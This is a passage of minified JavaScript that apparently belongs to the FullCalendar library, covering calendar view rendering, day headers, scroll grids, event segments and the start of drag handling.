n=function(e){a=null,i(e,t),t.removeEventListener("mouseleave",n)};t.addEventListener("mouseleave",n)}}))),s}return n(t,e),t.prototype.destroy=function(){this.removeHoverListeners()},t.prototype.triggerEvent=function(e,t,n){var r=this.component,o=r.context,i=fn(n);t&&!r.isValidSegDownEl(t.target)||o.emitter.trigger(e,{el:n,event:new Bn(o,i.eventRange.def,i.eventRange.instance),jsEvent:t,view:o.viewApi})},t}(ci),Ci=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.buildViewContext=st(Gr),t.buildViewPropTransformers=st(Ri),t.buildToolbarProps=st(wi),t.handleNavLinkClick=X("a[data-navlink]",t._handleNavLinkClick.bind(t)),t.headerRef=Lr(),t.footerRef=Lr(),t.interactionsStore={},t.registerInteractiveComponent=function(e,n){var r=di(e,n),o=[Di,bi].concat(t.props.pluginHooks.componentInteractions).map((function(e){return new e(r)}));t.interactionsStore[e.uid]=o,fi[e.uid]=r},t.unregisterInteractiveComponent=function(e){for(var n=0,r=t.interactionsStore[e.uid];n<r.length;n++){r[n].destroy()}delete t.interactionsStore[e.uid],delete fi[e.uid]},t.resizeRunner=new Zo((function(){t.props.emitter.trigger("_resize",!0),t.props.emitter.trigger("windowResize",{view:t.props.viewApi})})),t.handleWindowResize=function(e){var n=t.props.options;n.handleWindowResize&&e.target===window&&t.resizeRunner.request(n.windowResizeDelay)},t}return n(t,e),t.prototype.render=function(){var e,t=this.props,n=t.toolbarConfig,o=t.options,i=this.buildToolbarProps(t.viewSpec,t.dateProfile,t.dateProfileGenerator,t.currentDate,Fn(t.options.now,t.dateEnv),t.viewTitle),a=!1,s="";t.isHeightAuto||t.forPrint?s="":null!=o.height?a=!0:null!=o.contentHeight?s=o.contentHeight:e=Math.max(o.aspectRatio,.5);var l=this.buildViewContext(t.viewSpec,t.viewApi,t.options,t.dateProfileGenerator,t.dateEnv,t.theme,t.pluginHooks,t.dispatch,t.getCurrentData,t.emitter,t.calendarApi,this.registerInteractiveComponent,this.unregisterInteractiveComponent);return Ar(jr.Provider,{value:l},n.headerToolbar&&Ar(Ei,r({ref:this.headerRef,extraClassName:"fc-header-toolbar",model:n.headerToolbar},i)),Ar(Si,{liquid:a,height:s,aspectRatio:e,onClick:this.handleNavLinkClick},this.renderView(t),this.buildAppendContent()),n.footerToolbar&&Ar(Ei,r({ref:this.footerRef,extraClassName:"fc-footer-toolbar",model:n.footerToolbar},i)))},t.prototype.componentDidMount=function(){var e=this.props;this.calendarInteractions=e.pluginHooks.calendarInteractions.map((function(t){return new t(e)})),window.addEventListener("resize",this.handleWindowResize);var t=e.pluginHooks.propSetHandlers;for(var n in t)t[n](e[n],e)},t.prototype.componentDidUpdate=function(e){var t=this.props,n=t.pluginHooks.propSetHandlers;for(var r in n)t[r]!==e[r]&&n[r](t[r],t)},t.prototype.componentWillUnmount=function(){window.removeEventListener("resize",this.handleWindowResize),this.resizeRunner.clear();for(var e=0,t=this.calendarInteractions;e<t.length;e++){t[e].destroy()}this.props.emitter.trigger("_unmount")},t.prototype._handleNavLinkClick=function(e,t){var n=this.props,r=n.dateEnv,o=n.options,i=n.calendarApi,a=t.getAttribute("data-navlink");a=a?JSON.parse(a):{};var s=r.createMarker(a.date),l=a.type,u="day"===l?o.navLinkDayClick:"week"===l?o.navLinkWeekClick:null;"function"==typeof u?u.call(i,r.toDate(s),e):("string"==typeof u&&(l=u),i.zoomTo(s,l))},t.prototype.buildAppendContent=function(){var e=this.props,t=e.pluginHooks.viewContainerAppends.map((function(t){return t(e)}));return Ar.apply(void 0,o([Wr,{}],t))},t.prototype.renderView=function(e){for(var t=e.pluginHooks,n=e.viewSpec,o={dateProfile:e.dateProfile,businessHours:e.businessHours,eventStore:e.renderableEventStore,eventUiBases:e.eventUiBases,dateSelection:e.dateSelection,eventSelection:e.eventSelection,eventDrag:e.eventDrag,eventResize:e.eventResize,isHeightAuto:e.isHeightAuto,forPrint:e.forPrint},i=0,a=this.buildViewPropTransformers(t.viewPropsTransformers);i<a.length;i++){var s=a[i];r(o,s.transform(o,e))}var l=n.component;return Ar(l,r({},o))},t}(qr);function wi(e,t,n,r,o,i){var a=n.build(o,void 0,!1),s=n.buildPrev(t,r,!1),l=n.buildNext(t,r,!1);return{title:i,activeButton:e.type,isTodayEnabled:a.isValid&&!un(t.currentRange,o),isPrevEnabled:s.isValid,isNextEnabled:l.isValid}}function Ri(e){return e.map((function(e){return new e}))}var Ti=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.state={forPrint:!1},t.handleBeforePrint=function(){t.setState({forPrint:!0})},t.handleAfterPrint=function(){t.setState({forPrint:!1})},t}return n(t,e),t.prototype.render=function(){var e=this.props,t=e.options,n=this.state.forPrint,r=n||"auto"===t.height||"auto"===t.contentHeight,o=r||null==t.height?"":t.height,i=["fc",n?"fc-media-print":"fc-media-screen","fc-direction-"+t.direction,e.theme.getClass("root")];return pr()||i.push("fc-liquid-hack"),e.children(i,o,r,n)},t.prototype.componentDidMount=function(){var e=this.props.emitter;e.on("_beforeprint",this.handleBeforePrint),e.on("_afterprint",this.handleAfterPrint)},t.prototype.componentWillUnmount=function(){var e=this.props.emitter;e.off("_beforeprint",this.handleBeforePrint),e.off("_afterprint",this.handleAfterPrint)},t}(Yr);function ki(e,t){return bt(!e||t>10?{weekday:"short"}:t>1?{weekday:"short",month:"numeric",day:"numeric",omitCommas:!0}:{weekday:"long"})}var Mi="fc-col-header-cell";function xi(e){return e.text}var _i=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){var e=this.context,t=e.dateEnv,n=e.options,o=e.theme,i=e.viewApi,a=this.props,s=a.date,l=a.dateProfile,u=gr(s,a.todayRange,null,l),c=[Mi].concat(mr(u,o)),d=t.format(s,a.dayHeaderFormat),p=n.navLinks&&!u.isDisabled&&a.colCnt>1?{"data-navlink":yr(s),tabIndex:0}:{},f=r(r(r({date:t.toDate(s),view:i},a.extraHookProps),{text:d}),u);return Ar(fo,{hookProps:f,classNames:n.dayHeaderClassNames,content:n.dayHeaderContent,defaultContent:xi,didMount:n.dayHeaderDidMount,willUnmount:n.dayHeaderWillUnmount},(function(e,t,n,o){return Ar("th",r({ref:e,className:c.concat(t).join(" "),"data-date":u.isDisabled?void 0:rt(s),colSpan:a.colSpan},a.extraDataAttrs),Ar("div",{className:"fc-scrollgrid-sync-inner"},!u.isDisabled&&Ar("a",r({ref:n,className:["fc-col-header-cell-cushion",a.isSticky?"fc-sticky":""].join(" ")},p),o)))}))},t}(Yr),Ii=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){var e=this.props,t=this.context,n=t.dateEnv,o=t.theme,i=t.viewApi,a=t.options,s=me(new Date(2592e5),e.dow),l={dow:e.dow,isDisabled:!1,isFuture:!1,isPast:!1,isToday:!1,isOther:!1},u=[Mi].concat(mr(l,o),e.extraClassNames||[]),c=n.format(s,e.dayHeaderFormat),d=r(r(r(r({date:s},l),{view:i}),e.extraHookProps),{text:c});return Ar(fo,{hookProps:d,classNames:a.dayHeaderClassNames,content:a.dayHeaderContent,defaultContent:xi,didMount:a.dayHeaderDidMount,willUnmount:a.dayHeaderWillUnmount},(function(t,n,o,i){return Ar("th",r({ref:t,className:u.concat(n).join(" "),colSpan:e.colSpan},e.extraDataAttrs),Ar("div",{className:"fc-scrollgrid-sync-inner"},Ar("a",{className:["fc-col-header-cell-cushion",e.isSticky?"fc-sticky":""].join(" "),ref:o},i)))}))},t}(Yr),Pi=function(e){function t(t,n){var r=e.call(this,t,n)||this;return r.initialNowDate=Fn(n.options.now,n.dateEnv),r.initialNowQueriedMs=(new Date).valueOf(),r.state=r.computeTiming().currentState,r}return n(t,e),t.prototype.render=function(){var e=this.props,t=this.state;return e.children(t.nowDate,t.todayRange)},t.prototype.componentDidMount=function(){this.setTimeout()},t.prototype.componentDidUpdate=function(e){e.unit!==this.props.unit&&(this.clearTimeout(),this.setTimeout())},t.prototype.componentWillUnmount=function(){this.clearTimeout()},t.prototype.computeTiming=function(){var e=this.props,t=this.context,n=ye(this.initialNowDate,(new Date).valueOf()-this.initialNowQueriedMs),r=t.dateEnv.startOf(n,e.unit),o=t.dateEnv.add(r,Xe(1,e.unit)),i=o.valueOf()-n.valueOf();return i=Math.min(864e5,i),{currentState:{nowDate:r,todayRange:Ni(r)},nextState:{nowDate:o,todayRange:Ni(o)},waitMs:i}},t.prototype.setTimeout=function(){var e=this,t=this.computeTiming(),n=t.nextState,r=t.waitMs;this.timeoutId=setTimeout((function(){e.setState(n,(function(){e.setTimeout()}))}),r)},t.prototype.clearTimeout=function(){this.timeoutId&&clearTimeout(this.timeoutId)},t.contextType=jr,t}(Or);function Ni(e){var t=we(e);return{start:t,end:me(t,1)}}var Hi=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.createDayHeaderFormatter=st(Oi),t}return n(t,e),t.prototype.render=function(){var e=this.context,t=this.props,n=t.dates,r=t.dateProfile,o=t.datesRepDistinctDays,i=t.renderIntro,a=this.createDayHeaderFormatter(e.options.dayHeaderFormat,o,n.length);return Ar(Pi,{unit:"day"},(function(e,t){return Ar("tr",null,i&&i("day"),n.map((function(e){return o?Ar(_i,{key:e.toISOString(),date:e,dateProfile:r,todayRange:t,colCnt:n.length,dayHeaderFormat:a}):Ar(Ii,{key:e.getUTCDay(),dow:e.getUTCDay(),dayHeaderFormat:a})})))}))},t}(Yr);function Oi(e,t,n){return e||ki(t,n)}var Ai=function(){function e(e,t){for(var n=e.start,r=e.end,o=[],i=[],a=-1;n<r;)t.isHiddenDay(n)?o.push(a+.5):(a+=1,o.push(a),i.push(n)),n=me(n,1);this.dates=i,this.indices=o,this.cnt=i.length}return e.prototype.sliceRange=function(e){var t=this.getDateDayIndex(e.start),n=this.getDateDayIndex(me(e.end,-1)),r=Math.max(0,t),o=Math.min(this.cnt-1,n);return(r=Math.ceil(r))<=(o=Math.floor(o))?{firstIndex:r,lastIndex:o,isStart:t===r,isEnd:n===o}:null},e.prototype.getDateDayIndex=function(e){var t=this.indices,n=Math.floor(Se(this.dates[0],e));return n<0?t[0]-1:n>=t.length?t[t.length-1]+1:t[n]},e}(),Ui=function(){function e(e,t){var n,r,o,i=e.dates;if(t){for(r=i[0].getUTCDay(),n=1;n<i.length&&i[n].getUTCDay()!==r;n+=1);o=Math.ceil(i.length/n)}else o=1,n=i.length;this.rowCnt=o,this.colCnt=n,this.daySeries=e,this.cells=this.buildCells(),this.headerDates=this.buildHeaderDates()}return e.prototype.buildCells=function(){for(var e=[],t=0;t<this.rowCnt;t+=1){for(var n=[],r=0;r<this.colCnt;r+=1)n.push(this.buildCell(t,r));e.push(n)}return e},e.prototype.buildCell=function(e,t){var n=this.daySeries.dates[e*this.colCnt+t];return{key:n.toISOString(),date:n}},e.prototype.buildHeaderDates=function(){for(var e=[],t=0;t<this.colCnt;t+=1)e.push(this.cells[0][t].date);return e},e.prototype.sliceRange=function(e){var t=this.colCnt,n=this.daySeries.sliceRange(e),r=[];if(n)for(var o=n.firstIndex,i=n.lastIndex,a=o;a<=i;){var s=Math.floor(a/t),l=Math.min((s+1)*t,i+1);r.push({row:s,firstCol:a%t,lastCol:(l-1)%t,isStart:n.isStart&&a===o,isEnd:n.isEnd&&l-1===i}),a=l}return r},e}(),Li=function(){function e(){this.sliceBusinessHours=st(this._sliceBusinessHours),this.sliceDateSelection=st(this._sliceDateSpan),this.sliceEventStore=st(this._sliceEventStore),this.sliceEventDrag=st(this._sliceInteraction),this.sliceEventResize=st(this._sliceInteraction),this.forceDayIfListItem=!1}return e.prototype.sliceProps=function(e,t,n,r){for(var i=[],a=4;a<arguments.length;a++)i[a-4]=arguments[a];var s=e.eventUiBases,l=this.sliceEventStore.apply(this,o([e.eventStore,s,t,n],i));return{dateSelectionSegs:this.sliceDateSelection.apply(this,o([e.dateSelection,s,r],i)),businessHourSegs:this.sliceBusinessHours.apply(this,o([e.businessHours,t,n,r],i)),fgEventSegs:l.fg,bgEventSegs:l.bg,eventDrag:this.sliceEventDrag.apply(this,o([e.eventDrag,s,t,n],i)),eventResize:this.sliceEventResize.apply(this,o([e.eventResize,s,t,n],i)),eventSelection:e.eventSelection}},e.prototype.sliceNowDate=function(e,t){for(var n=[],r=2;r<arguments.length;r++)n[r-2]=arguments[r];return this._sliceDateSpan.apply(this,o([{range:{start:e,end:ye(e,1)},allDay:!1},{},t],n))},e.prototype._sliceBusinessHours=function(e,t,n,r){for(var i=[],a=4;a<arguments.length;a++)i[a-4]=arguments[a];return e?this._sliceEventStore.apply(this,o([Ge(e,Wi(t,Boolean(n)),r),{},t,n],i)).bg:[]},e.prototype._sliceEventStore=function(e,t,n,r){for(var o=[],i=4;i<arguments.length;i++)o[i-4]=arguments[i];if(e){var a=cn(e,t,Wi(n,Boolean(r)),r);return{bg:this.sliceEventRanges(a.bg,o),fg:this.sliceEventRanges(a.fg,o)}}return{bg:[],fg:[]}},e.prototype._sliceInteraction=function(e,t,n,r){for(var o=[],i=4;i<arguments.length;i++)o[i-4]=arguments[i];if(!e)return null;var a=cn(e.mutatedEvents,t,Wi(n,Boolean(r)),r);return{segs:this.sliceEventRanges(a.fg,o),affectedInstances:e.affectedEvents.instances,isEvent:e.isEvent}},e.prototype._sliceDateSpan=function(e,t,n){for(var r=[],i=3;i<arguments.length;i++)r[i-3]=arguments[i];if(!e)return[];for(var a=_n(e,t,n),s=this.sliceRange.apply(this,o([e.range],r)),l=0,u=s;l<u.length;l++){var c=u[l];c.eventRange=a}return s},e.prototype.sliceEventRanges=function(e,t){for(var n=[],r=0,o=e;r<o.length;r++){var i=o[r];n.push.apply(n,this.sliceEventRange(i,t))}return n},e.prototype.sliceEventRange=function(e,t){var n=e.range;this.forceDayIfListItem&&"list-item"===e.ui.display&&(n={start:n.start,end:me(n.start,1)});for(var r=this.sliceRange.apply(this,o([n],t)),i=0,a=r;i<a.length;i++){var s=a[i];s.eventRange=e,s.isStart=e.isStart&&s.isStart,s.isEnd=e.isEnd&&s.isEnd}return r},e}();function Wi(e,t){var n=e.activeRange;return t?n:{start:ye(n.start,e.slotMinTime.milliseconds),end:ye(n.end,e.slotMaxTime.milliseconds-864e5)}}var Vi=/^(visible|hidden)$/,Fi=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.handleEl=function(e){t.el=e,Kr(t.props.elRef,e)},t}return n(t,e),t.prototype.render=function(){var e=this.props,t=e.liquid,n=e.liquidIsAbsolute,r=t&&n,o=["fc-scroller"];return t&&(n?o.push("fc-scroller-liquid-absolute"):o.push("fc-scroller-liquid")),Ar("div",{ref:this.handleEl,className:o.join(" "),style:{overflowX:e.overflowX,overflowY:e.overflowY,left:r&&-(e.overcomeLeft||0)||"",right:r&&-(e.overcomeRight||0)||"",bottom:r&&-(e.overcomeBottom||0)||"",marginLeft:!r&&-(e.overcomeLeft||0)||"",marginRight:!r&&-(e.overcomeRight||0)||"",marginBottom:!r&&-(e.overcomeBottom||0)||"",maxHeight:e.maxHeight||""}},e.children)},t.prototype.needsXScrolling=function(){if(Vi.test(this.props.overflowX))return!1;for(var e=this.el,t=this.el.getBoundingClientRect().width-this.getYScrollbarWidth(),n=e.children,r=0;r<n.length;r+=1){if(n[r].getBoundingClientRect().width>t)return!0}return!1},t.prototype.needsYScrolling=function(){if(Vi.test(this.props.overflowY))return!1;for(var e=this.el,t=this.el.getBoundingClientRect().height-this.getXScrollbarWidth(),n=e.children,r=0;r<n.length;r+=1){if(n[r].getBoundingClientRect().height>t)return!0}return!1},t.prototype.getXScrollbarWidth=function(){return Vi.test(this.props.overflowX)?0:this.el.offsetHeight-this.el.clientHeight},t.prototype.getYScrollbarWidth=function(){return Vi.test(this.props.overflowY)?0:this.el.offsetWidth-this.el.clientWidth},t}(Yr),zi=function(){function e(e){var t=this;this.masterCallback=e,this.currentMap={},this.depths={},this.callbackMap={},this.handleValue=function(e,n){var r=t,o=r.depths,i=r.currentMap,a=!1,s=!1;null!==e?(a=n in i,i[n]=e,o[n]=(o[n]||0)+1,s=!0):(o[n]-=1,o[n]||(delete i[n],delete t.callbackMap[n],a=!0)),t.masterCallback&&(a&&t.masterCallback(null,String(n)),s&&t.masterCallback(e,String(n)))}}return e.prototype.createRef=function(e){var t=this,n=this.callbackMap[e];return n||(n=this.callbackMap[e]=function(n){t.handleValue(n,String(e))}),n},e.prototype.collect=function(e,t,n){return je(this.currentMap,e,t,n)},e.prototype.getAll=function(){return We(this.currentMap)},e}();function Bi(e){for(var t=0,n=0,r=j(e,".fc-scrollgrid-shrink");n<r.length;n++){var o=r[n];t=Math.max(t,he(o))}return Math.ceil(t)}function ji(e,t){return e.liquid&&t.liquid}function Gi(e,t){return null!=t.maxHeight||ji(e,t)}function qi(e,t,n){var r=n.expandRows;return"function"==typeof t.content?t.content(n):Ar("table",{className:[t.tableClassName,e.syncRowHeights?"fc-scrollgrid-sync-table":""].join(" "),style:{minWidth:n.tableMinWidth,width:n.clientWidth,height:r?n.clientHeight:""}},n.tableColGroupNode,Ar("tbody",{},"function"==typeof t.rowContent?t.rowContent(n):t.rowContent))}function Yi(e,t){return at(e,t,Ve)}function Zi(e,t){for(var n=[],r=0,i=e;r<i.length;r++)for(var a=i[r],s=a.span||1,l=0;l<s;l+=1)n.push(Ar("col",{style:{width:"shrink"===a.width?Xi(t):a.width||"",minWidth:a.minWidth||""}}));return Ar.apply(void 0,o(["colgroup",{}],n))}function Xi(e){return null==e?4:e}function Ki(e){for(var t=0,n=e;t<n.length;t++){if("shrink"===n[t].width)return!0}return!1}function Ji(e,t){var n=["fc-scrollgrid",t.theme.getClass("table")];return e&&n.push("fc-scrollgrid-liquid"),n}function $i(e,t){var n=["fc-scrollgrid-section","fc-scrollgrid-section-"+e.type,e.className];return t&&e.liquid&&null==e.maxHeight&&n.push("fc-scrollgrid-section-liquid"),e.isSticky&&n.push("fc-scrollgrid-section-sticky"),n}function Qi(e){return Ar("div",{className:"fc-scrollgrid-sticky-shim",style:{width:e.clientWidth,minWidth:e.tableMinWidth}})}function ea(e){var t=e.stickyHeaderDates;return null!=t&&"auto"!==t||(t="auto"===e.height||"auto"===e.viewHeight),t}function ta(e){var t=e.stickyFooterScrollbar;return null!=t&&"auto"!==t||(t="auto"===e.height||"auto"===e.viewHeight),t}var na=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.processCols=st((function(e){return e}),Yi),t.renderMicroColGroup=st(Zi),t.scrollerRefs=new zi,t.scrollerElRefs=new zi(t._handleScrollerEl.bind(t)),t.state={shrinkWidth:null,forceYScrollbars:!1,scrollerClientWidths:{},scrollerClientHeights:{}},t.handleSizing=function(){t.setState(r({shrinkWidth:t.computeShrinkWidth()},t.computeScrollerDims()))},t}return n(t,e),t.prototype.render=function(){for(var e,t=this.props,n=this.state,r=this.context,i=t.sections||[],a=this.processCols(t.cols),s=this.renderMicroColGroup(a,n.shrinkWidth),l=Ji(t.liquid,r),u=i.length,c=0,d=[],p=[],f=[];c<u&&"header"===(e=i[c]).type;)d.push(this.renderSection(e,c,s)),c+=1;for(;c<u&&"body"===(e=i[c]).type;)p.push(this.renderSection(e,c,s)),c+=1;for(;c<u&&"footer"===(e=i[c]).type;)f.push(this.renderSection(e,c,s)),c+=1;var h=!pr();return Ar("table",{className:l.join(" "),style:{height:t.height}},Boolean(!h&&d.length)&&Ar.apply(void 0,o(["thead",{}],d)),Boolean(!h&&p.length)&&Ar.apply(void 0,o(["tbody",{}],p)),Boolean(!h&&f.length)&&Ar.apply(void 0,o(["tfoot",{}],f)),h&&Ar.apply(void 0,o(["tbody",{}],d,p,f)))},t.prototype.renderSection=function(e,t,n){return"outerContent"in e?Ar(Wr,{key:e.key},e.outerContent):Ar("tr",{key:e.key,className:$i(e,this.props.liquid).join(" ")},this.renderChunkTd(e,t,n,e.chunk))},t.prototype.renderChunkTd=function(e,t,n,r){if("outerContent"in r)return r.outerContent;var o=this.props,i=this.state,a=i.forceYScrollbars,s=i.scrollerClientWidths,l=i.scrollerClientHeights,u=Gi(o,e),c=ji(o,e),d=o.liquid?a?"scroll":u?"auto":"hidden":"visible",p=qi(e,r,{tableColGroupNode:n,tableMinWidth:"",clientWidth:void 0!==s[t]?s[t]:null,clientHeight:void 0!==l[t]?l[t]:null,expandRows:e.expandRows,syncRowHeights:!1,rowSyncHeights:[],reportRowHeightChange:function(){}});return Ar("td",{ref:r.elRef},Ar("div",{className:"fc-scroller-harness"+(c?" fc-scroller-harness-liquid":"")},Ar(Fi,{ref:this.scrollerRefs.createRef(t),elRef:this.scrollerElRefs.createRef(t),overflowY:d,overflowX:o.liquid?"hidden":"visible",maxHeight:e.maxHeight,liquid:c,liquidIsAbsolute:!0},p)))},t.prototype._handleScrollerEl=function(e,t){var n=parseInt(t,10);Kr(this.props.sections[n].chunk.scrollerElRef,e)},t.prototype.componentDidMount=function(){this.handleSizing(),this.context.addResizeHandler(this.handleSizing)},t.prototype.componentDidUpdate=function(){this.handleSizing()},t.prototype.componentWillUnmount=function(){this.context.removeResizeHandler(this.handleSizing)},t.prototype.computeShrinkWidth=function(){return Ki(this.props.cols)?Bi(this.scrollerElRefs.getAll()):0},t.prototype.computeScrollerDims=function(){for(var e=br(),t=this.props.sections.length,n=this.scrollerRefs,r=this.scrollerElRefs,o=!1,i={},a={},s=0;s<t;s+=1){var l=n.currentMap[s];if(l&&l.needsYScrolling()){o=!0;break}}for(s=0;s<t;s+=1){var u=r.currentMap[s];if(u){var c=u.parentNode;i[s]=Math.floor(c.getBoundingClientRect().width-(o?e.y:0)),a[s]=Math.floor(c.getBoundingClientRect().height)}}return{forceYScrollbars:o,scrollerClientWidths:i,scrollerClientHeights:a}},t}(Yr);na.addStateEquality({scrollerClientWidths:Ve,scrollerClientHeights:Ve});var ra=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.elRef=Lr(),t}return n(t,e),t.prototype.render=function(){var e=this.props,t=this.context,n=t.options,r=e.seg,o=r.eventRange,i=o.ui,a={event:new Bn(t,o.def,o.instance),view:t.viewApi,timeText:e.timeText,textColor:i.textColor,backgroundColor:i.backgroundColor,borderColor:i.borderColor,isDraggable:!e.disableDragging&&yn(r,t),isStartResizable:!e.disableResizing&&En(r,t),isEndResizable:!e.disableResizing&&Sn(r),isMirror:Boolean(e.isDragging||e.isResizing||e.isDateSelecting),isStart:Boolean(r.isStart),isEnd:Boolean(r.isEnd),isPast:Boolean(e.isPast),isFuture:Boolean(e.isFuture),isToday:Boolean(e.isToday),isSelected:Boolean(e.isSelected),isDragging:Boolean(e.isDragging),isResizing:Boolean(e.isResizing)},s=Cn(a).concat(i.classNames);return Ar(fo,{hookProps:a,classNames:n.eventClassNames,content:n.eventContent,defaultContent:e.defaultContent,didMount:n.eventDidMount,willUnmount:n.eventWillUnmount,elRef:this.elRef},(function(t,n,r,o){return e.children(t,s.concat(n),r,o,a)}))},t.prototype.componentDidMount=function(){pn(this.elRef.current,this.props.seg)},t.prototype.componentDidUpdate=function(e){var t=this.props.seg;t!==e.seg&&pn(this.elRef.current,t)},t}(Yr),oa=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){var e=this.props,t=this.context,n=e.seg,o=t.options.eventTimeFormat||e.defaultTimeFormat,i=Dn(n,o,t,e.defaultDisplayEventTime,e.defaultDisplayEventEnd);return Ar(ra,{seg:n,timeText:i,disableDragging:e.disableDragging,disableResizing:e.disableResizing,defaultContent:e.defaultContent||ia,isDragging:e.isDragging,isResizing:e.isResizing,isDateSelecting:e.isDateSelecting,isSelected:e.isSelected,isPast:e.isPast,isFuture:e.isFuture,isToday:e.isToday},(function(t,o,i,a,s){return Ar("a",r({className:e.extraClassNames.concat(o).join(" "),style:{borderColor:s.borderColor,backgroundColor:s.backgroundColor},ref:t},function(e){var t=e.eventRange.def.url;return t?{href:t}:{}}(n)),Ar("div",{className:"fc-event-main",ref:i,style:{color:s.textColor}},a),s.isStartResizable&&Ar("div",{className:"fc-event-resizer fc-event-resizer-start"}),s.isEndResizable&&Ar("div",{className:"fc-event-resizer fc-event-resizer-end"}))}))},t}(Yr);function ia(e){return Ar("div",{className:"fc-event-main-frame"},e.timeText&&Ar("div",{className:"fc-event-time"},e.timeText),Ar("div",{className:"fc-event-title-container"},Ar("div",{className:"fc-event-title fc-sticky"},e.event.title||Ar(Wr,null," "))))}var aa=function(e){return Ar(jr.Consumer,null,(function(t){var n=t.options,r={isAxis:e.isAxis,date:t.dateEnv.toDate(e.date),view:t.viewApi};return Ar(fo,{hookProps:r,classNames:n.nowIndicatorClassNames,content:n.nowIndicatorContent,didMount:n.nowIndicatorDidMount,willUnmount:n.nowIndicatorWillUnmount},e.children)}))},sa=bt({day:"numeric"}),la=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){var e=this.props,t=this.context,n=t.options,r=ua({date:e.date,dateProfile:e.dateProfile,todayRange:e.todayRange,showDayNumber:e.showDayNumber,extraProps:e.extraHookProps,viewApi:t.viewApi,dateEnv:t.dateEnv});return Ar(vo,{hookProps:r,content:n.dayCellContent,defaultContent:e.defaultContent},e.children)},t}(Yr);function ua(e){var t=e.date,n=e.dateEnv,o=gr(t,e.todayRange,null,e.dateProfile);return r(r(r({date:n.toDate(t),view:e.viewApi},o),{dayNumberText:e.showDayNumber?n.format(t,sa):""}),e.extraProps)}var ca=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.refineHookProps=lt(ua),t.normalizeClassNames=yo(),t}return n(t,e),t.prototype.render=function(){var e=this.props,t=this.context,n=t.options,r=this.refineHookProps({date:e.date,dateProfile:e.dateProfile,todayRange:e.todayRange,showDayNumber:e.showDayNumber,extraProps:e.extraHookProps,viewApi:t.viewApi,dateEnv:t.dateEnv}),o=mr(r,t.theme).concat(r.isDisabled?[]:this.normalizeClassNames(n.dayCellClassNames,r)),i=r.isDisabled?{}:{"data-date":rt(e.date)};return Ar(mo,{hookProps:r,didMount:n.dayCellDidMount,willUnmount:n.dayCellWillUnmount,elRef:e.elRef},(function(t){return e.children(t,o,i,r.isDisabled)}))},t}(Yr);function da(e){return Ar("div",{className:"fc-"+e})}var pa=function(e){return Ar(ra,{defaultContent:fa,seg:e.seg,timeText:"",disableDragging:!0,disableResizing:!0,isDragging:!1,isResizing:!1,isDateSelecting:!1,isSelected:!1,isPast:e.isPast,isFuture:e.isFuture,isToday:e.isToday},(function(e,t,n,r,o){return Ar("div",{ref:e,className:["fc-bg-event"].concat(t).join(" "),style:{backgroundColor:o.backgroundColor}},r)}))};function fa(e){return e.event.title&&Ar("div",{className:"fc-event-title"},e.event.title)}var ha=function(e){return Ar(jr.Consumer,null,(function(t){var n=t.dateEnv,r=t.options,o=e.date,i=r.weekNumberFormat||e.defaultFormat,a=n.computeWeekNumber(o),s=n.format(o,i);return Ar(fo,{hookProps:{num:a,text:s,date:o},classNames:r.weekNumberClassNames,content:r.weekNumberContent,defaultContent:va,didMount:r.weekNumberDidMount,willUnmount:r.weekNumberWillUnmount},e.children)}))};function va(e){return e.text}var ga=function(e){function t(t,n){void 0===n&&(n={});var o=e.call(this)||this;return o.isRendering=!1,o.isRendered=!1,o.currentClassNames=[],o.customContentRenderId=0,o.handleAction=function(e){switch(e.type){case"SET_EVENT_DRAG":case"SET_EVENT_RESIZE":o.renderRunner.tryDrain()}},o.handleData=function(e){o.currentData=e,o.renderRunner.request(e.calendarOptions.rerenderDelay)},o.handleRenderRequest=function(){if(o.isRendering){o.isRendered=!0;var e=o.currentData;Ur(Ar(Ti,{options:e.calendarOptions,theme:e.theme,emitter:e.emitter},(function(t,n,i,a){return o.setClassNames(t),o.setHeight(n),Ar(ho.Provider,{value:o.customContentRenderId},Ar(Ci,r({isHeightAuto:i,forPrint:a},e)))})),o.el)}else o.isRendered&&(o.isRendered=!1,zr(o.el),o.setClassNames([]),o.setHeight(""));Fr()},o.el=t,o.renderRunner=new Zo(o.handleRenderRequest),new Jo({optionOverrides:n,calendarApi:o,onAction:o.handleAction,onData:o.handleData}),o}return n(t,e),Object.defineProperty(t.prototype,"view",{get:function(){return this.currentData.viewApi},enumerable:!1,configurable:!0}),t.prototype.render=function(){var e=this.isRendering;e?this.customContentRenderId+=1:this.isRendering=!0,this.renderRunner.request(),e&&this.updateSize()},t.prototype.destroy=function(){this.isRendering&&(this.isRendering=!1,this.renderRunner.request())},t.prototype.updateSize=function(){e.prototype.updateSize.call(this),Fr()},t.prototype.batchRendering=function(e){this.renderRunner.pause("batchRendering"),e(),this.renderRunner.resume("batchRendering")},t.prototype.pauseRendering=function(){this.renderRunner.pause("pauseRendering")},t.prototype.resumeRendering=function(){this.renderRunner.resume("pauseRendering",!0)},t.prototype.resetOptions=function(e,t){this.currentDataManager.resetOptions(e,t)},t.prototype.setClassNames=function(e){if(!at(e,this.currentClassNames)){for(var t=this.el.classList,n=0,r=this.currentClassNames;n<r.length;n++){var o=r[n];t.remove(o)}for(var i=0,a=e;i<a.length;i++){o=a[i];t.add(o)}this.currentClassNames=e}},t.prototype.setHeight=function(e){Y(this.el,"height",e)},t}(zn);vi.touchMouseIgnoreWait=500;var ma=0,ya=0,Ea=!1,Sa=function(){function e(e){var t=this;this.subjectEl=null,this.selector="",this.handleSelector="",this.shouldIgnoreMove=!1,this.shouldWatchScroll=!0,this.isDragging=!1,this.isTouchDragging=!1,this.wasTouchScroll=!1,this.handleMouseDown=function(e){if(!t.shouldIgnoreMouse()&&function(e){return 0===e.button&&!e.ctrlKey}(e)&&t.tryStart(e)){var 